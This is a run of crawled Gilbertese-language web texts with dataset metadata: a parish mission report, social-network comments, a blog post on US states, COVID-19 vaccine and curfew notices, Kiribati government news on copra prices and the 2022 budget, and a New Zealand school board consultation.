aika a kainanoa Anakin bai n tabunea iai, maitin te makuri n te tai anne ake a roko kainanoaia bon 10, ao ti karaba naba Te Uea ba E anganira te korakora ni katiai naba imain te bong.\nKaabong 30\/4\/09\nE wakinako te makuri ae kaitiakan taiani bai n tabunea iaan auti i Buariki ao tao nakon ae kan bwi auti n te tai anne.\nKanimabong 01\/05\/09\nE bubuti te katokabai irouna te mataniwi ni catechist ao e karaoaki aei imwin te taromauri ni komunio ma kaotinakoan te Eukari. N tain te kaingabong n te maneaba nte makoro are te maroro, ao e a teirake te catechist ae Teata n tiba te baere e karaoaki nakoina n te umantabu. \"N te ingabong aei ao N na tiba au namakin ke te bae I noria n tain aia katokabai ao aio te bai ae I noria. I nori tamnei aika uoua (2) are a ruo n tei imatau ao tamnei aikai bon tamnein Nei Maria ma natina ae Iesu. Ngke a kaoti tamnei aikai ao I rangin ni kukurei nakon Te Uea ao ni karaba ba E a anganai te koaua ni koaua.\nNgaia are I kaotia nakoimi kain te maneaba ni kabane ba taian reirei ake a anga kain te tiim aei iaon ana karea Te Tamnei ae Raoiroi bon taian koaua ni kabane ao ae I anganaki kakoauana n te bong aei. E raba rokon te tiim aei iaon ara abamakoro ba e uota te bai ae moan te kakawaki are e na buoka aia onimaki taria ma maneia ni charismatic iaon Tabiteuea Maiaki. Ngaia are I kaungai nanomi ara koraki nakon te waki ni charismatic, kataia rin inanona ba kam na nora ana Tangira Te Uea inanona.\nTaabati 7\/5\/9.\nKatean te Taibora ae bou. I reitaki ma kain Tabiteuea Maiaki ao ti karaoa aia rinerine ibukin te taibora ae boou. Ae ena waki ngkai ni karokoa te Benetokota 2010 ao aio ngkanne mwin te rinerine.\n- Chief leader – Rikare Kirata (Buariki)\n- Deputy leader – Buana Ruatamaki (Taungaeaka)\n- Tia Koroboki – Nei Teera Maeao ( Buariki)\n- Tia mane – Nei Okoro Tuanako (Nikutoru)\nMan te tai are e tei iai te Taibora ae e bou ao e a bon tiku irouia te waki ao ngaira ti a rawei motirawara, ao ngkana ti ira te makuri ma ti mena ian aia kairiri. A wakinako ni makuri autin Buariki, Nikutoru ao Tewai ni karokoa ae ti kitania n te Tabati 10\/5\/09.\nTaeka ni karabaraba ao ni kakaitau\nBon banara ngaira kain te tiim mai Teaoraereke Parish moa nakon tamara ae karineaki iroura Te Tama Koru Tito ibukin bai ni kabane are ti a tia ni katongnga inanon tikura n ana maneaba i Betio teuana te bong imain manangara, ao ai moarara riki ara kamoamoa ma ara kakatonga ibukin ana boutoka are e katokai iaora n ana karaoiroi ae ti kakoaua ba e anganira te korakora inanon karaoan tibangara ibukin buokaia tarira ma manera iaon Tabiteuea Maiaki. Ko raba te Tama Koru Tito ao ara tataro nakon Te Uea ba E na raoniko inanon am waki ni kabane iaon New Zealand.\nBon banara ngaira kain te tiim mai Teaoraereke Parish nakoia Katorika iaon Tabiteuea Maiaki ni bane ni moa mai iroun te tei are inanon te biroto ni karokoa te kara, ara kakaitau ma ara karabaraba ibukin noran ami akoi ma ami mamannano nakoira inanon tikura ibuakomi ni karokoa ae ti kitanigkami. Kam raba ni bai ni kabane ao riki ami akoi ma ami tangira ae akea n ai arona. Kam aitau, kam ai tatarika ao kam ai tokamauea. Ara tataro nakon Te Uea ba Ena raoni ngkami n tai nako.\nKaoti Teingoa (Abaunamou)\nTia Tababaire\nNSC","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/kccrs.org.ki\/nsc\/rongorongo-ao-ribooti\/18-ribootin-te-mananga-nako-tabiteuea-maiaki","date":"2022-01-18T18:44:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320300997.67\/warc\/CC-MAIN-20220118182855-20220118212855-00281.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":3704,"character_repetition_ratio":0.044,"word_repetition_ratio":0.001,"special_characters_ratio":0.224,"stopwords_ratio":0.381,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"mauri Kaikai ao buum ma natimi ao ai kain ami auc ni kabane .E rabwa ba i bon raraun ni kangai ao ia ti nora naba ami auc ma i karautaeka ba i roko iai ma akea kaina ma e raoiroi ba ia bon ti kakatekeraoi naba na nakoimi n auan te tawanou aio .E tau ma nang kangai ma tia manga boo moa ngkami ao tekeraoi\nmauri te director!! Ai rabara naba te ticket n raun. Ti tebo ma ea book naki naba nte Raiwai Bus company! E tau ma tia boni kantaningaia ma Bob ao ngkana eatia n tiainaaki ao ko anganna naba ba tia iangoa arona. ngai am tia beku ibukin KATTNA.\nMauri te Director n KATTNA!!! Ko kanganga naba ba iai naba am web page. Ngai anne i aki tuangko. Koa ururingai naba ma Bob ni karaunira nte motirawa ae ritemba ke? O.K. ena tekeraoi te waaki ao tia boo moa.\nmauri kain kattna!!!! ti roko ngkai n am auti ao akea ngkoe bwa ko rerebu kee??? tell Sinto we've left the quotes on meat with darling Bob. will check Fiji meats on monday to get another quote. heard it's cheaper with them.","id":"","dump":"CC-MAIN-2022-05","url":"http:\/\/banabanvoice.ning.com\/profile\/kaikaibob517","date":"2022-01-19T13:47:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320301341.12\/warc\/CC-MAIN-20220119125003-20220119155003-00188.warc.gz","language":"gil","language_score":0.9999990463,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 0.9999990463256836}","num_words":197,"character_repetition_ratio":0.002,"word_repetition_ratio":0.0,"special_characters_ratio":0.23,"stopwords_ratio":0.249,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"mauri imo ao mauri riki n te ririki ae bou aia kou ara moa komena gkai iai aio nei raiti\ne raba naba gkai tia magakona n reitaki iaon te banaban voice ea bon man te tai kee tau ma iamaga bon ogora mai roum n reken am tai okk\ntekeraoi moa te waki mai kane ao riki tekeraoi kanoan te ririki aio","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/banabanvoice.ning.com\/profile\/ImoTeairo","date":"2022-01-19T13:36:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320301341.12\/warc\/CC-MAIN-20220119125003-20220119155003-00588.warc.gz","language":"gil","language_score":0.9998390675,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"gil_Latn_score\": 0.9998390674591064}","num_words":63,"character_repetition_ratio":0.028,"word_repetition_ratio":0.0,"special_characters_ratio":0.212,"stopwords_ratio":0.222,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te aba ae Amerika\nNgke i moan roko i Amerika ao I ataia ae te aba ae takabubura ma akea au atatai ae ngaia e tiraua mwakorokorona ke titeiti (States). I aki atai araia mwakorokorona (States) ni kabane ao i aki ataia ae ngaia a bane n toma. Ibukina bwa ia tiku naba i Hawaii ao n otau Hawaii mwakoron Amerika, i taku ngai bwa e toma ma nikiran Amerika ake nikiraia, I aki ataia ae iai taari imarenaia, ko aki kangai bwa e bon rang uarereke au atatai ni itera aikai n taai akekei. Engae n anne ao iai au karaki ni kangare ae uarereke. N reken au mwakuri ao teuana mai buakon bwaai ake i karaoi n au mwakuri bwa i buokiia aomata ake a kabooi aia tai ni motirawa nte Outero (Hotel) are I mwakuri iai. Temanna ara katitamwa e roko ao e anganai ana ID kaati are tamneina iaona ao ana atureti ke te tabo are e maeka iai. Iaon ana atureti ao e mwakoro bwa e maeka i PA. I titirakinna bwa ngaia kain Palau? Ao e taraai ma matana aika a mata n titiraki ao e taku, Palau? Antai Palau? Ia ataia ae e kairua au titiraki ngaia are ia manga titirakinna bwa tera PA? Ao ea tuangai are PA e tei ibukin kawan Amerika are Pennsylvania, aeua i bon ngareakinai. Ai bon te aboka ni bwainrang ngai ma are Ia bon tii karabwa naba ibukin ana kabwarabwara. Eang e bon tira mwakorokoron (States) Amerika ao bon akea au atatai ibukin araia aika a kakaokoro nagia are i taku bwa e kakawaki bwa tina taetae teutana iaon aei. Nna taetae teutana iaon buburan Amerika ma makorona nako ao mwaitin kaokoron te reeti ma ana boota n aomata ao tabeua riki atatai ake i taku bwa e kakawaki iroura ngaira ae tia tibwa roko ao ake a iangoa te mwaing.\nAmerika bon teuana te aba are e wene imarenan Kanata ao Metiko. Teuana mai buakon aaba aika a takabubura ma kaawaana aika botan mwaitina Nimabwi (50). Abwi ma wanua (48) mai iai a bon bane ni wene ni meangin Amerika kontinente ao a toma ao uoua kawana ke atimwakorona aika a maenako bwa Alaska ao Hawaii. Ni makorona aika 48 aikai a bon koro anauia nte buti nte kaa. Bukina bwa a ban n toma ao bon akea tokin te buti iaona. Alaska e bon tannako nakon iteran Amerika are Maiaki ao Hawaii e booia nakon Tebetebeke.\nNna karinana korean araia inano ma kauarerekean araia :\nAtuun kawan Amerika bon Washington DC are e mena kanga i marenan Maryland ma Virginia. Katautauan ana mwaitin ni boota n aomata inanon 2019 ao e nakon tenibubua uabwi ma wanua tetimare uoua te mirion 328.2 million. Ao buburan te aba are e tekateka iai Amerika bon tenua tetimare itibubua ruabwi ma itua te million te tikuea maire 3.797 million mi\/2.\nTe reeti n aomata iaona ea bon tira, iai ake bon imatang, iai i Aberika ni Amerika, iai naba kain te aono n Atiia, kain Inria ao a bati riki. I Hawaii ngkanne koa manga noora te reeti ni Biribin ae tira, te reeti naba n Tiabaan ao ai renganana ngaira are te reeti man Tebetebeke, I-Matiare, kain Toonga, kain Samoa ao a bon bati riki. Bukina bwa e tira te reeti n aomata iaona te katei naba ea bon irengarengan. Ao n ririki aikai ao ea bon korakora naba te reeti ni I-Matiare ao ni Kiribati-IMatiare are tia nooria ni mwaing mai.\n|Aran Atimwakorona||Kauarerekean Araia||Aran Atimwakorona||Kauarerekean Araia|\n|Alabama||AL||Montana||MT|\n|Alaska||AK||Nebraska||NE|\n|Arizona||AZ||Nevada||NV|\n|Arkansas||AR||New Hampshire||NH|\n|California||CA||New Jersey||NJ|\n|Colorado||CO||New Mexico||NM|\n|Connecticut||CT||New York||NY|\n|Delaware||DE||North Carolina||NC|\n|Florida||FL||North Dakota||ND|\n|Georgia||GA||Ohio||OH|\n|Hawaii||HI||Oklahoma||OK|\n|Idaho||ID||Oregon||OR|\n|Illinois||IL||Pennsylvania||PA|\n|Indiana||IN||Rhode Island||RI|\n|Iowa||IA||South Carolina||SC|\n|Kansas||KS||South Dakota||SD|\n|Kentucky||KY||Tennessee||TN|\n|Louisiana||LA||Texas||TX|\n|Maine||ME||Utah||UT|\n|Maryland||MD||Vermont||VT|\n|Massachusetts||MA||Virginia||VA|\n|Michigan||MI||Washington||WA|\n|Minnesota||MN||West Virginia||WV|\n|Mississippi||MS||Wisconsin||WI|\n|Missouri||MO||Wyoming||WY|","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/te-maeka-i-amerika.com\/te-aba-ae-amerika\/","date":"2022-01-17T11:16:09Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320300533.72\/warc\/CC-MAIN-20220117091246-20220117121246-00405.warc.gz","language":"gil","language_score":0.9999881983,"language_script":"Latn","minhash_cluster_size":9,"top_langs":"{\"gil_Latn_score\": 0.9999881982803345}","num_words":618,"character_repetition_ratio":0.041,"word_repetition_ratio":0.0,"special_characters_ratio":0.235,"stopwords_ratio":0.333,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te iti ae tan ma n omwaka e rang kakawaki ibukin kamanoaia kain Nutiran ma aban te Betebeke aika irarikira ma n te COVID-19. A rang kakawaki naba iti n totoko aikai ibukin manga karikirakean kaubwain abara ao kaukan ara matabaiawa.\nAkea boon te iti n totoko ibukin te COVID-19 nakoia nake ana itinaki. E aki naba kairoroaki te botanaomata i aon Nutiran bwa a na kabongana.\nTe iti n totoko ibukn te COVID-19 e na kamanoko ma n te virus ibukin taai aika a na roko. Ma ti riai n teimatoa ni karaoi tabera n totokoa te COVID-19 man ara community. Ti riai n iri nanon ara kibunikora ake aua: te tebo bai, scanning QR codes, kamaiuan te Bluetooth ao te tiku n te mwenga ngkana iai namakinan te aoraki.\nNgkai ti a manga roko n te mwaneka ae boou i aon ara buaka ni kaitara COVID-19, ea rang riki ni kakawaki karekean rongorongo aika eti raoi. Kairuan rongorongo a kaitarai ara waaki n te tai ae ti kainanoia bwa tina mwakuri ni kabane n kamauna te virus aio. A kona n reke rongorongo aika eti raoi ma n taabo aikai; am Taokita, te Healthline, am District Health Board, Botaki ni Kuakua n te Tautaeka ao ana website te Unite Against Covid-19 www.covid19.govt.nz\nKabaean am tai ni itinaki n te iti n totoko ibukin te COVID-19\nBooking your COVID-19 vaccination\nTe Iti ibukin te COVID-19 (Vaccine)\nCOVID-19 vaccine frequently asked questions\nAna babaire Nutiran ibukin wakinan te iti n totoko\nNew Zealand's vaccine rollout plan\nItinakim n te iti n totoko ibukin te COVID-19: Tera ae e kantaninga bwa ena riki\nGetting your COVID-19 vaccine: what to expect\nImwuin Itinakim n te iti n totoko\nAfter your immunisation","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/www.mpp.govt.nz\/covid-19\/vaccination\/kiribati\/","date":"2022-01-17T03:37:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320300289.37\/warc\/CC-MAIN-20220117031001-20220117061001-00000.warc.gz","language":"gil","language_score":1.0000094175,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"gil_Latn_score\": 1.0000094175338745}","num_words":289,"character_repetition_ratio":0.104,"word_repetition_ratio":0.0,"special_characters_ratio":0.219,"stopwords_ratio":0.353,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"E nang raka boon te tine nte takataka nakon $4 nte kg n 2022\nE a tia te Tautaeka ni Kiribati ni manga kakoroa nanon teuana ana babaire ae e rangi ni bubura iaon kataboroan karakaan boon te takataka man $2 nakon $4 n te kilo are e na moa bwainakina man te ririki ae e boou 2022.\nN te kataumwane are e a tia ni kabwaataki n te Mwaneaba ni Maungatabu n te wiiki ae e nako ao e a tia ni kariaiakaki kabonganaan te mwaiti ni kataumwane ae $40 te mirion ibukin karakaan boon te takataka nakon $4 n te kilo ni moa man Tianuare 2022.\nNi moan rokon Beretitenti Taneti Maamau n ana moan teem ni Maati 2016 nakon 2019, ao ana Tautaeka e karaka boon te takataka man $1 nakon $2 n te kilo. E boboto te kantaninga iaon karakin boon te takataka aio, ba e na katamaroa riki aron reken aia karekemane ae teimatoa kain aonnaba are e na ibuobuoki ibukin karikirakean te maeuraoi nakoia kaain Kiribati ake a maeka iaon abamwakoro. Te kantaninga ae ababaki man te waaki aio ba ana kona angiia kain Kiribati n rinanako inanon te waaki ni kareke mane ao ni karikirake.\nN ana kauoua n teem imwin rineana nakon te nakoa n Beretitenti, ao imwin kamatebaiakin te waaki aio, ao e a tia Te Beretitenti Taneti Maamau ni manga katoboroa boon te takataka man $2 nakon te $4 n te kilo. Te babaire ae moan te kakawaki aio e karaoaki imwin tarakin ana waaki te Tautaeka n tobwaa ao n kona n kateimatoa aan raoi te kantaninga aio bwa e na rawata tamaroana man ni ibuobuoki ao ni kabebetea aron aia waaki taian community n abamakoro nako.\nNi ikotaki ma bwakamwane aika a teimatoa n reereke ibukin aia Mwane Kaara, te Mwane ibukia ake Aki Mwakuri, te Mwane ibukia ake iai toaraan rabwataia, ao te Tautaeka e teimatoa n waaki ni kakioa te kantaninga are e na riai n tibwatibwaaki te kabwaia nakoia kain Kiribati ni kabane bwa e aonga n akea ae e na tiku imwintaa. Te waaki aio ea tia n karikirakea riki te maeuraoi nakoia kain Kiribati ake aitara ma kanganga n aron are e a tia n baireia te Tautaeka rinanon ana kanoa ni mii te Tautaeka ibukin 20 te ririki bwa e na riki Kiribati bwa te aba ae e marurung, e kaubwai ao e rau.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/president.gov.ki\/news\/86-e-nang-raka-boon-te-tine-nte-takataka-nakon-$4-nte-kg-n-2022.html","date":"2022-01-21T20:03:12Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320303709.2\/warc\/CC-MAIN-20220121192415-20220121222415-00328.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":14,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":387,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.22,"stopwords_ratio":0.416,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ao bon ane raoi te koaua tia maga uringa ara sunday school i tabiang ke,eang Maio ngkai are emena itinaniku e kaimoa(seaman).ao ngkai e taku ba aia kaibuke e tiku i korea ngkai,iongo irouna ngke i chat ma gaia koananoa...Maio ba etekena teaba e karaua raraunia te aonaba hahahaha\nAo ngkoe koa tia ni iein ngkai ??? iongo iroun Moterea ba ko kakaki aine ke,ko iein ma temanna ao koa maga kaaki ssshh teba naba iroum ke hahaha..\nTau takeraoi te waki ma ikane koa maga reitia ngkana iai ma iroum kaga ko kau rogo2 hahaha..\nMoce!\nno ai ngkam iaki ataia ba antai ae koaua ma iroumi ngkoe ke moterea hahahaha ao ngkoe eag e raraba te website aio ngkai ea maga reke te kaitibo iai ker..\neag ngai ngkai i mena i NZ ao ai 4 tabun ao ririki ikai,sshh iakan mate te tabo aio ba enag kamaitorotoro aona,yo kaga akea moa ao rogo2 ma ikai ti te aine ae enag rawata ma tiakabi rora iai hahahaha ao eag koa maga reitia ma ikane ngkana iai ke\nAmen!!!!! to that anyway thanks alot for the caring .Mum is fine thank you and she is still at the Hidden Paradise .M just on A\/L and anyway do you know William Lanyon(mum's son ) yea i'm wit them .\nRgds to the family\nlol!!!!!!!!!!","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/banabanvoice.ning.com\/profiles\/comment\/list?attachedToType=User&attachedTo=2c13es47xy002","date":"2022-01-19T13:06:06Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320301341.12\/warc\/CC-MAIN-20220119125003-20220119155003-00529.warc.gz","language":"gil","language_score":0.9975247383,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 0.9975247383117676}","num_words":220,"character_repetition_ratio":0.037,"word_repetition_ratio":0.0,"special_characters_ratio":0.233,"stopwords_ratio":0.191,"flagged_words_ratio":0.0,"lang_id_score":0.997,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Ana Kataumwane Te Tautaeka Ibukin 2022\nE a tia ana Mwaneaba ni Maungatabu Kiribati ni butimwaea ao ni kabwaata kauouan warekan ana Biira ni Kataumwane te Tautaeka ibukin 2022 ao ni kabwaata naba ana Kataumwane ibukin Karikirake (Development Budget) te Tautaeka ibukin te ririki 2022 ni boowin te Auti n Tei n te Kauabong 30 bongin Nobembwa 2021.\nE moan uotakirakeaki te Kataumwane aei nakon te Mwaneaba ni Maungatabu iroun te Kauoman ni Beretitenti ao te Minitita ibukin te Mwane ma Babaireakin Karikirake ae Dr. Teuea Toatu nte Kaabong 25 bongin Nobembwa 2021, n moan te wiiki.\nTe kataumwane n te ririki e bon kaineti ma ana kataratara ao ana waaki ni karikirake te Tautaeka ake ena tauraoi n waaki inanon te ririki rinanon ana kainibaire ni kaineti ma kataunari iaon marurungin ara karekemwane man kaubwain abara ni kaitarai waaki ni kabane mwane ibukin te botannaomata.\nTe Boto n Iango ibukin ana Kataumwane te Tautaeka ibukin 2022 bon 'Te waaki inanon te taneiai ae boou'. Aio e bon boboto ao n irekereke ma te boto n iango are e kabonganaaki n te ririki 2021 ae kangai 'Katauraoara nakon te taneiai ae e boou', man kinaakin kanganga aika a riki man te Aoraki ae e kakamaaku ae te COVID-19 are e namakinaki naba iaon Kiribati ao man rooti aron waaki nako, ao ti bon riai n taneiai ao ni bwaati arora ma ngaia.\nTiaki ti ngaia, n ana kataumwane te Tautaeka naba aio ao e katerea bwa e kantaningaki te mwaiti ae $305.2 million bwa ena kona n reke ma waaki n kareke mwane ni kaitara te kabane mwane are katautauaki n te mwaiti ae $305.1 te mirion ibukin 2022 are nanonona bwa e raka riki te kareke mwane n te mwaiti ae $46.7 te ngaa ke 0.01 te katebubua man ara GDP ke bootan kaubaira iaon Kiribati.\nMan te kataumwane aio ibukin 2022, ao e oti iai bwa te mwaiti ae $40 te mirion e na kabonganaki ibukin mwanenakin boon rakan te tine n te takataka man $2 nakon $4 n te kilo, $32.4 mirion ibukin karikirakean aroia naake akea aaki mwakuri ke SFU, $20.7 mirion ibukiia kaara ao $2.8 mirion ibukia mwauku ao a mwaiti riki.\nN te kataumwane naba aio ao e katerea bwa ana karekemwane te Tautaeka ibukin 2022 e katautauaki bwa e na reke te mwaiti ae nakon $305.2 te mirion are e kataunariaki bwa e ena reke man mwanen te akawa n te mwaiti ae $200 mirion, $54.3 mirion man rikoan te tax ao $28 mirion man te bakao man te RERF ke man ara Mane n Tania, $17.4 mirion man aia mwane n buoka Tautaeka ma Botaki mai iabatera ake anga te mane ni buoka n iokotaki ma $5.5 mirion man karekemane riki tabeua.\nI rarikin aio ao e a tia naba ana Mwaneaba ni Maungatabu Kiribati ni kabwaata ana mwane n karikirake ke ana te Development budget 2022 te Tautaeka n te mwaiti ae $262,742,259. Man te mwaiti aio, ao $169.1 mirion, ao aio are e kataunariaki bwa e na reke man aia ibuobuoki aban te aonnaba ake iai reitakia ma te Tautaeka n Kiribati, ao $93.6 mirion e na reke man ana mwane te Tautaeka n Kiribati are bon ngaia naba te kabanea n mwaiti ana ibuobuoki iaon te itera aio n kabotauaki ma mwane n buoka ake a roko man te aba teuana ma teuana ke Botaki ake a reitaki ma Kiribati. Te Tautaeka man ana moan term are e moa man 2016 ni karokoa te bong aio, ao e teimatoa ni karinmwane ibukin buokan ana Kataumwane ibukin Karikirake bwa e aonga ni koro nanon ana kataratara ae e abwabwaki ae 20 te ririki maanna ke te KV20 bwa e aonga n riki abara ae Kiribati bwa te aba ae e marurung, e kaubwai ao man rau.\nE ngae n anne ao e katereterea te Kauoman ni Beretitenti Dr. Teuea Toatu bwa te Kataumwane ibukin te Karikirake 2022 e na bon aki kona ni koro nanona n akean aia ibuobuoki Tautaeka ma Botaki mai iabatera ake a reitaki ma Kiribati. E bon anga bwanaan ami Tautaeka ni kakaitau ae onoti nakoia Tautaeka ma Botaki mai iabatera n aron teimatoan aia boutoka are e rikirake tamaroana ibukin kakoroan nanon ana waaki ni karikirake te Tautaeka.","id":"","dump":"CC-MAIN-2022-05","url":"https:\/\/president.gov.ki\/news\/84-ana-kataumwane-te-tautaeka-ibukin-2022.html","date":"2022-01-21T20:06:25Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-05\/segments\/1642320303709.2\/warc\/CC-MAIN-20220121192415-20220121222415-00541.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":8,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":678,"character_repetition_ratio":0.081,"word_repetition_ratio":0.0,"special_characters_ratio":0.236,"stopwords_ratio":0.404,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Te beba ni bubuti:\nMauri ao Uotiko\nE a tia te Tautaeka ni kariaia boutokaan rinerine n te intanete bwa teuana te waaki ae boou nakon te kainibaire ibukin rineakia kain ana babantararua te reirei. N te tai aei, rineakiia kain te babantararua e tii kona ni karaoaki man kanoakin booma. Karaoan rinerine iaon te intanete, teuana te kawai e na kangaraoi karaoan rinerine inanon te ka 21 n tienture, ao ni karokoira n aia kantaninga ataei n te reirei, kaaro ao taan reirei.\nA kona reirei ni karaoa aia rinerine ni kabongana tein te rinerine ae ngkai ke iaon te intanete ke ni kabongana te booma.\nBitaki aika a kakawaki nakon taian Tua ni boutokai karaoan rinerine iaon te intanete bon:\n- Karaoan anga ni mwakuri ao kanibaire aika boou a boutokai rinerine iaon te intanete aika a mano ao aki kona n noraki\n- Katean anga n tutuo ni kabwaati ike e na kona te Ministry n tuoa ana waaki ma ana konabwai te tabo n mwakuri n roko n te tamaraoa are e kantaningai, n te aro are reirei ana aki bae n\n- kainnanoia accredited providers (taabo ni mwakuri ake a kariakaki) ba a na kabonganaki ibukia kaaro ao taan mwakuri ma tiaki ibukin aia rinerine ataein te reirei\n- kainnanoi paper forms (booma) ni bon tauraoi naba ibukia taan rinerine, e ngae ngke e a kona te reirei ni karaoa te rinerine iaon te intanete\nBitaki tabeua:\nBitaki tabeua nakon tuua a na buoka kabutan raoi rineaia kain te babantararua iaon te intanete. Bwai aikai:\n- Angaraoi warekan muin rinerine iaon te intanete ba e na karaoaki n akea kainnanoaia taan tutuo\n- Kanakoan te tai n rinerine ae (83 te bong) anauna ibukin rineaia kain te babantararua, n aron ae oti n tain te maroro e bon rang ananau Reirei ake a mena iaon te timetable ae ananau a tangira kauarerekean te timetable nakon (63 te bong)\n- Bitakin te timetable ibukin te rinerine ae uarereke taina n angania returning officers aia tai ni katauraoi beba ibukin te rinerine\n- Kabwarabwaran te timetable ae uarereke riki taina (tao 30 te bong) ibukin rineaia taan tei ibukia ataein te reirei ao rineia taan mwakuri ni kabebetea kanoakin nakoa aikai\nEnabling electronic school board elections consultation guide. (Kiribati)[PDF, 89 KB]\nRead enabling electronic school board elections draft regulations.[PDF, 187 KB]\nGo to the consultation hub to submit your response to enabling electronic school board elections.\nConsultation closes 18 March","id":"","dump":"CC-MAIN-2022-21","url":"https:\/\/conversation.education.govt.nz\/conversations\/enabling-electronic-school-board-elections\/boutokan-rinerine-iaon-te-intanete-ibukin-babantararua-n-reirei\/","date":"2022-05-25T23:17:07Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2022-21\/segments\/1652662594414.79\/warc\/CC-MAIN-20220525213545-20220526003545-00304.warc.gz","language":"gil","language_score":1.0000083447,"language_script":"Latn","minhash_cluster_size":7,"top_langs":"{\"gil_Latn_score\": 1.0000083446502686}","num_words":398,"character_repetition_ratio":0.093,"word_repetition_ratio":0.0,"special_characters_ratio":0.201,"stopwords_ratio":0.319,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":1} +{"text":"Kanauan riki tain te kainiin ma kamataata aika kakawaki\n(Bairiki, Tarawa, Kaonobong 19 ni Maati 2022) ----- Ibukin moanibwaian maurin te botannaomata ao e a tia te Tautaeka ni baaireia bwa e na manga reitinako riki te kainiin inanon uoua riki te wiiki ni moa man te Kanimabong 18 ni Maati 2022 ni karokoa te Kanimabong 1 n Eberi 2022.\nN te kainin aio ao a bon tiku n aroia ni kabane babaire ake kanoan te oota n te uoua ni wiiki ae e nako ibukin 1) Tarawa Teinainano, Betio, Buota ao ai Butaritari n reitaki naba ma ii) Tarawaieta, Maiana, Abaiang, Marakei, Abemama, Aranuka ao Makin, ma bon tii te bitaki ae e boou bon tain kainan te nakonako (curfew hours) ibukin 2) Tarawa Teinainano, Betio, Buota ao Butaritari are e a moa ngkai man te aoa 8pm n te tairiki ao n toki n te aoa 5am n te karangaina n te bong are imwiina. Taabo ni boobwai a na ein n te aoa 7pm n te tairiki. Ibukin Tarawaieta, Maiana, Abaiang, Marakei, Abemama, Aranuka ao Makin, a bon teimatoa n tiku n aroia babaire ake mai imwaaina.\nIbukin maurin ao mataatan te botannaomata, ao e teimatoa ni waaki te kainiin aio bwa ana anga te Tautaeka ni kauarerekea butin te Aoraki aei ao ni kakatauraoi naba ngkai iai te katautau man ana riiboti te Tiim n Ibuobuoki ibukin te Mauri mai Aotiteria ae AUSMAT bwa e na kona te Aoraki aei ni manga moan buti kaua imwiin koron teniua (3) te namwakaina man te tai are e moan buti iai inanon Tianuare te ririki aei. E boboto aio man bwai aika riki naba nakoia aaba ake e buti iai te COVID-19.\nIbukin aei ao e kawenea ana kaoriori te Tautaeka bwa e rang kakawaki kateimatoaan irakin raoi kanoan ana kainibaaire (SOP) Botakin te Mauri ao Katoki Aoraki n reitaki ma te Ota n te Kainiin ae e waaki ngkai. Taabo ni boobwai a riai n in n te aoa 7pm n te tairiki bwa a aonga n reke aia tai taan boobwai n okirii aia auti imwaain te kainiin n te aoa 8pm n te tairiki n reitaki naba ma te kauring nakoia ake man 60 te ririki ni waerake bwa a na riai ni karekei aia kateniua n iti (booster dose) n Kirinaki ake a uakaan ma ngaia imwiin koron 5 te namwakaina mai imwiin aia kauoua n iti, kakoroan itiia ake a tuai koro itiia ao ai kamatoaan te aki rerebaua n aki manikangareaki te Aoraki aei.\nE tabe naba ngkai te Tautaeka ni kakatauraoia raoi ao ni baarongaa aron kaukan te mwamwananga nakon abamwakoro ake a tuai rootaki n te Aoraki ae te COVID-19 rinanon te kainibaaire ae e matoatoa are e tabe ngkai ni baarongaaki raoi man Botakin te Mauri ao Katoki Aoraki ni moa man te tai are e bae iai aram ibukin te mwananga, am tai n tutuo imwaain te mwananga, kaokoroam iaan mweengam bon tii ngkoe n te aro bwa ko na bon aki ituaki mairouia kaain am auti, ao ai te kabanea ngkanne bon te tutuo imwaain mwanangam ike ko na bon ti kona n mwananga ngkana akea manin te Aoraki iroum. Ngkana akea te Aoraki iroum ao n rokom nte abamwakoro are ko mwananga nako iai ao ko a manga katukaki tabe bong n taraaki bwa bon akea kanikinaean te Aoraki iroum imwaain are koa otinako nakon te kaawa. Ae e tabe ngkai Botakin te Mauri ao Katoki Aoraki 